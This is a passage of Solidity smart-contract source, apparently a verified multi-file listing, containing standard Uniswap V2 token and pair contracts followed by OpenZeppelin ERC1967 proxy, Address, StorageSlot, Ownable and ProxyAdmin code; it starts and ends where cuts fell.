function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}File 3 of 7: ERC1967Proxy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature(
"upgradeTo(address)",
oldImplementation
)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(
Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract"
);
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
* explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
*/
contract ProxyAdmin is Ownable {
/**
* @dev Returns the current implementation of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the current admin of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
